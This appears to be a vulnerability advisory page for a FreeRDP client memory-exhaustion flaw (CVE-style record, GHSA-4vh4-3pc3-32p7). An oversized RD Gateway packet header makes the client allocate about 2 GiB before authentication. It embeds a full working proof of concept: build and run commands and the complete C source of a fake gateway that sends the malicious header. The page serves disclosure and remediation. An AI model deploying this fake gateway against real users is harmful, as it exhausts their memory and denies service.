Read the docs

Oversized RD Gateway packet length makes FreeRDP allocate memory

Priority LOW 35CWE-400Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · Low
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-4vh4-3pc3-32p7. Fix status from GitHub. Impact type from CWE-400.

Summary

FreeRDP up to and including 3.32.1 is affected. A malicious or compromised RD Gateway can send an eight-byte packet header declaring a length near 2 GiB, and the client allocates and zero-fills that memory before tunnel authentication (CWE-770). The client then waits for body bytes that the gateway can withhold, so a user who connects to such a gateway can exhaust client memory.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

A malicious or compromised RD Gateway can make FreeRDP allocate and zero about 2 GiB of client memory before tunnel authentication by sending one eight-byte RDG header: `02 00 00 00 ff ff ff 7f`. In `rdg_receive_packet`, the declared length `0x7FFFFFFF` passes the `INT_MAX` check and reaches `Stream_EnsureCapacity` before any body bytes are read. WinPR rounds the request to `0x80000000` and zero-fills the expanded stream. The client then waits for 2,147,483,639 body bytes that the gateway can withhold. An independently repeated full-client test measured 2,130,748 kB resident (2.032 GiB) after this eight-byte header. The client then slept while holding the memory; the bounded test driver killed it. A second run reproduced the memory use over the non-WebSocket HTTP transport. No OOM kill or data-access effect was observed. If a host refuses the allocation, the connection fails cleanly. The decisive RDG source remains in inspected FreeRDP 3.32.1; its receive code matches the audited revision, while the 3.32.1 release binary was not separately run. The allocation path was individually inspected in 3.0.0, 3.20.0, 3.28.0, 3.31.1, 3.32.0, and 3.32.1; intermediate snapshots and the first affected release were not established. ### Reproduction Run only on an isolated machine with at least 3 GiB of free memory, a vulnerable `xfreerdp` build, an available X display, and OpenSSL development libraries. Save the complete C source below as `rdg_poc.c`. It generates a short-lived self-signed TLS certificate in memory. `bigalloc` mode sends the eight-byte header without a body; the client run is bounded to seven seconds: ```sh cc -O2 -Wall -o rdg_poc rdg_poc.c -lssl -lcrypto -pthread ./rdg_poc 3415 bigalloc ws & gateway_pid=$! sleep 1 WLOG_LEVEL=DEBUG timeout -s KILL 7 xfreerdp /v:127.0.0.1 \ /gateway:"g:127.0.0.1:3415,u:u,d:d,p:p,type:http" \ /cert:ignore /size:800x600 kill "$gateway_pid" ``` `/cert:ignore` is for this disposable gateway only. The full, originally executed gateway source follows: ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <strings.h> #include <unistd.h> #include <stdint.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h> #include <pthread.h> #include <openssl/ssl.h> #include <openssl/err.h> #include <openssl/x509.h> #include <openssl/evp.h> static SSL_CTX* make_server_ctx(void) { SSL_CTX* ctx = SSL_CTX_new(TLS_server_method()); EVP_PKEY* pkey = EVP_RSA_gen(2048); X509* x = X509_new(); if (!ctx || !pkey || !x) return NULL; X509_set_version(x, 2); ASN1_INTEGER_set(X509_get_serialNumber(x), 1); X509_gmtime_adj(X509_getm_notBefore(x), 0); X509_gmtime_adj(X509_getm_notAfter(x), 3600); X509_set_pubkey(x, pkey); X509_NAME* name = X509_get_subject_name(x); X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, (const unsigned char*)"fake-rdg", -1, -1, 0); X509_set_issuer_name(x, name); if (!X509_sign(x, pkey, EVP_sha256())) return NULL; if (!SSL_CTX_use_certificate(ctx, x) || !SSL_CTX_use_PrivateKey(ctx, pkey)) return NULL; X509_free(x); EVP_PKEY_free(pkey); return ctx; } static void websocket_accept(const char* key, char* out, size_t outlen) { static const char* guid = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"; unsigned char digest[EVP_MAX_MD_SIZE]; unsigned int dlen = 0; char input[256]; snprintf(input, sizeof(input), "%s%s", key, guid); EVP_Digest(input, strlen(input), digest, &dlen, EVP_sha1(), NULL); EVP_EncodeBlock((unsigned char*)out, digest, (int)dlen); (void)outlen; } static void hexdump(const char* tag, const unsigned char* p, size_t n) { fprintf(stderr, "%s (%zu bytes):", tag, n); for (size_t i = 0; i < n; i++) fprintf(stderr, " %02x", p[i]); fprintf(stderr, "\n"); fflush(stderr); } /* Send one RDG packet, optionally wrapped in a server->client websocket frame. */ static int send_rdg(SSL* ssl, int websocket, const unsigned char* pkt, size_t len) { unsigned char frame[64]; size_t flen = 0; if (websocket) { frame[flen++] = 0x82; /* FIN + binary opcode */ if (len < 126) frame[flen++] = (unsigned char)len; else if (len <= 0xFFFF) { frame[flen++] = 126; frame[flen++] = (unsigned char)(len >> 8); frame[flen++] = (unsigned char)(len & 0xFF); } else { frame[flen++] = 127; for (int i = 7; i >= 0; i--) frame[flen++] = (unsigned char)((uint64_t)len >> (8 * i)); } if (SSL_write(ssl, frame, (int)flen) != (int)flen) return -1; } hexdump("S->C RDG", pkt, len); if (SSL_write(ssl, pkt, (int)len) != (int)len) return -1; return 0; } static size_t build_pkt(unsigned char* out, uint16_t type, const unsigned char* payload, size_t plen) { size_t total = 8 + plen; out[0] = (unsigned char)(type & 0xFF); out[1] = (unsigned char)(type >> 8); out[2] = 0; out[3] = 0; out[4] = (unsigned char)(total & 0xFF); out[5] = (unsigned char)((total >> 8) & 0xFF); out[6] = (unsigned char)((total >> 16) & 0xFF); out[7] = (unsigned char)((total >> 24) & 0xFF); if (plen) memcpy(out + 8, payload, plen); return total; } static void* in_data_thread(void* arg) { int cfd = (int)(intptr_t)arg; char buf[4096]; for (;;) { ssize_t n = read(cfd, buf, sizeof(buf)); if (n <= 0) break; } close(cfd); return NULL; } static int run_mode(SSL* ssl, const char* mode, int websocket) { unsigned char pkt[64]; unsigned char payload[32]; size_t len; if (strcmp(mode, "noop") == 0) { fprintf(stderr, "conn: noop mode: sending nothing after upgrade\n"); return 0; } if (strcmp(mode, "extauth0") == 0 || strcmp(mode, "extauth1") == 0) { /* type 0x0003, errorCode 0, authBlobLen 0 or 1 */ uint16_t blob = (strcmp(mode, "extauth1") == 0) ? 1 : 0; payload[0] = payload[1] = payload[2] = payload[3] = 0; /* errorCode */ payload[4] = (unsigned char)(blob & 0xFF); payload[5] = (unsigned char)(blob >> 8); if (blob) payload[6] = 0x41; len = build_pkt(pkt, 0x0003, payload, 6 + blob); usleep(250 * 1000); return send_rdg(ssl, websocket, pkt, len); } if (strcmp(mode, "bigalloc") == 0) { /* 8-byte header only: type 0x0002, packetLength 0x7FFFFFFF */ len = build_pkt(pkt, 0x0002, NULL, 0); pkt[4] = 0xFF; pkt[5] = 0xFF; pkt[6] = 0xFF; pkt[7] = 0x7F; usleep(250 * 1000); return send_rdg(ssl, websocket, pkt, len); } if (strcmp(mode, "ctlspin") == 0) { /* HANDSHAKE_RESPONSE: errorCode=0, ver 1.0, serverVersion=1, extAuth=0 */ payload[0] = payload[1] = payload[2] = payload[3] = 0; payload[4] = 0x01; payload[5] = 0x00; payload[6] = 0x01; payload[7] = 0x00; payload[8] = 0x00; payload[9] = 0x00; len = build_pkt(pkt, 0x0002, payload, 10); usleep(200 * 1000); if (send_rdg(ssl, websocket, pkt, len)) return -1; /* TUNNEL_RESPONSE: serverVersion=1, errorCode=0, fields=0, reserved=0 */ payload[0] = 0x01; payload[1] = 0x00; payload[2] = payload[3] = payload[4] = payload[5] = 0; payload[6] = payload[7] = payload[8] = payload[9] = 0; len = build_pkt(pkt, 0x0005, payload, 10); usleep(200 * 1000); if (send_rdg(ssl, websocket, pkt, len)) return -1; /* TUNNEL_AUTH_RESPONSE: errorCode=0, fields=0, reserved=0 */ memset(payload, 0, 8); len = build_pkt(pkt, 0x0007, payload, 8); usleep(200 * 1000); if (send_rdg(ssl, websocket, pkt, len)) return -1; /* CHANNEL_RESPONSE: errorCode=0, fields=0, reserved=0 */ memset(payload, 0, 8); len = build_pkt(pkt, 0x0009, payload, 8); usleep(200 * 1000); if (send_rdg(ssl, websocket, pkt, len)) return -1; /* Control header only: KEEPALIVE, packetLength=0xFFFF, no payload. */ len = build_pkt(pkt, 0x000D, NULL, 0); pkt[4] = 0xFF; pkt[5] = 0xFF; pkt[6] = 0x00; pkt[7] = 0x00; usleep(300 * 1000); return send_rdg(ssl, websocket, pkt, len); } fprintf(stderr, "unknown mode %s\n", mode); return -1; } typedef struct { int cfd; SSL_CTX* ctx; const char* mode; int websocket; int first; } conn_arg; static void* handle_conn(void* arg) { conn_arg* a = (conn_arg*)arg; SSL* ssl = SSL_new(a->ctx); SSL_set_fd(ssl, a->cfd); if (SSL_accept(ssl) <= 0) { fprintf(stderr, "SSL_accept failed\n"); close(a->cfd); SSL_free(ssl); return NULL; } char req[65536]; size_t used = 0; while (used < sizeof(req) - 1) { int n = SSL_read(ssl, req + used, (int)(sizeof(req) - 1 - used)); if (n <= 0) break; used += (size_t)n; req[used] = '\0'; if (strstr(req, "\r\n\r\n")) break; } req[used < sizeof(req) ? used : sizeof(req) - 1] = '\0'; fprintf(stderr, "conn: read %zu bytes of HTTP request: %.60s\n", used, req); fflush(stderr); if (!a->first) { /* RDG_IN_DATA: answer 200 OK, then just drain. */ const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n"; SSL_write(ssl, ok, (int)strlen(ok)); char buf[4096]; while (SSL_read(ssl, buf, sizeof(buf)) > 0) ; SSL_free(ssl); return NULL; } if (a->websocket) { const char* keyhdr = strcasestr(req, "\r\nSec-WebSocket-Key:"); if (!keyhdr) keyhdr = strcasestr(req, "Sec-WebSocket-Key:"); char key[256] = { 0 }; if (keyhdr) { const char* p = strchr(keyhdr, ':'); if (p) { p++; while (*p == ' ' || *p == '\t') p++; size_t i = 0; while (*p && *p != '\r' && *p != '\n' && i < sizeof(key) - 1) key[i++] = *p++; } } char accept[128] = { 0 }; websocket_accept(key, accept, sizeof(accept)); char response[1024]; int rlen = snprintf(response, sizeof(response), "HTTP/1.1 101 Switching Protocols\r\n" "Upgrade: websocket\r\n" "Connection: Upgrade\r\n" "Sec-WebSocket-Accept: %s\r\n" "Sec-WebSocket-Version: 13\r\n" "Sec-WebSocket-Protocol: rdp\r\n" "\r\n", accept); SSL_write(ssl, response, rlen); fprintf(stderr, "conn: sent 101 Switching Protocols (ws accept=%s)\n", accept); } else { const char* ok = "HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n"; SSL_write(ssl, ok, (int)strlen(ok)); unsigned char seed[10] = "0123456789"; hexdump("S->C seed", seed, sizeof(seed)); SSL_write(ssl, seed, sizeof(seed)); fprintf(stderr, "conn: sent 200 OK + 10-byte seed\n"); } if (run_mode(ssl, a->mode, a->websocket) != 0) fprintf(stderr, "conn: run_mode send failed\n"); else fprintf(stderr, "conn: mode %s delivered; holding socket 30s\n", a->mode); fflush(stderr); struct timespec ts = { .tv_sec = 30, .tv_nsec = 0 }; nanosleep(&ts, NULL); SSL_free(ssl); return NULL; } int main(int argc, char** argv) { if (argc < 3) { fprintf(stderr, "usage: %s <port> <extauth0|extauth1|bigalloc|ctlspin> [ws|http]\n", argv[0]); return 2; } const int port = atoi(argv[1]); const char* mode = argv[2]; int websocket = 1; if (argc > 3 && strcmp(argv[3], "http") == 0) websocket = 0; SSL_library_init(); SSL_load_error_strings(); SSL_CTX* ctx = make_server_ctx(); if (!ctx) return 2; int lfd = socket(AF_INET6, SOCK_STREAM, 0); int one = 1; setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); setsockopt(lfd, IPPROTO_IPV6, IPV6_V6ONLY, &(int){ 0 }, sizeof(int)); struct sockaddr_in6 addr = { 0 }; addr.sin6_family = AF_INET6; addr.sin6_addr = in6addr_any; addr.sin6_port = htons((unsigned short)port); if (bind(lfd, (struct sockaddr*)&addr, sizeof(addr)) || listen(lfd, 8)) { perror("bind/listen"); return 2; } fprintf(stderr, "poc_rdg listening on 127.0.0.1:%d mode=%s transport=%s\n", port, mode, websocket ? "ws" : "http"); fflush(stderr); int first = 1; for (;;) { int cfd = accept(lfd, NULL, NULL); if (cfd < 0) break; conn_arg* a = calloc(1, sizeof(conn_arg)); a->cfd = cfd; a->ctx = ctx; a->mode = mode; a->websocket = websocket; a->first = first; first = 0; pthread_t t; if (pthread_create(&t, NULL, handle_conn, a) != 0) { close(cfd); free(a); } else pthread_detach(t); } SSL_CTX_free(ctx); return 0; } ``` The preserved independent run recorded the exact packet, 2.032 GiB RSS, and `rdg_read_all(size=2147483639)` in the debugger. Those are audited-revision observations; this embedded runner was not rerun for this draft because the former client and compiler binaries are unavailable here. **Impact:** About 2.03 GiB resident client memory per affected gateway connection; potential denial of service under constrained memory. No OOM kill, confidentiality, integrity, or code-execution effect was demonstrated. **Remediation:** Reject oversized RDG packet lengths before stream growth or zero-fill, with a bounded pre-authentication buffer policy and a regression test for a maximum-length header with no body.

Why it matters now

Fix Fixed FreeRDP (c): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.13.32.2Patch availableGHSA-4vh4-3pc3-32p7
  • FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-4vh4-3pc3-32p7

Remediation

Upgrade FreeRDP to version 3.32.2, the fixed version listed for this flaw.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-4vh4-3pc3-32p7 FreeRDP (c) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-4vh4-3pc3-32p7

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences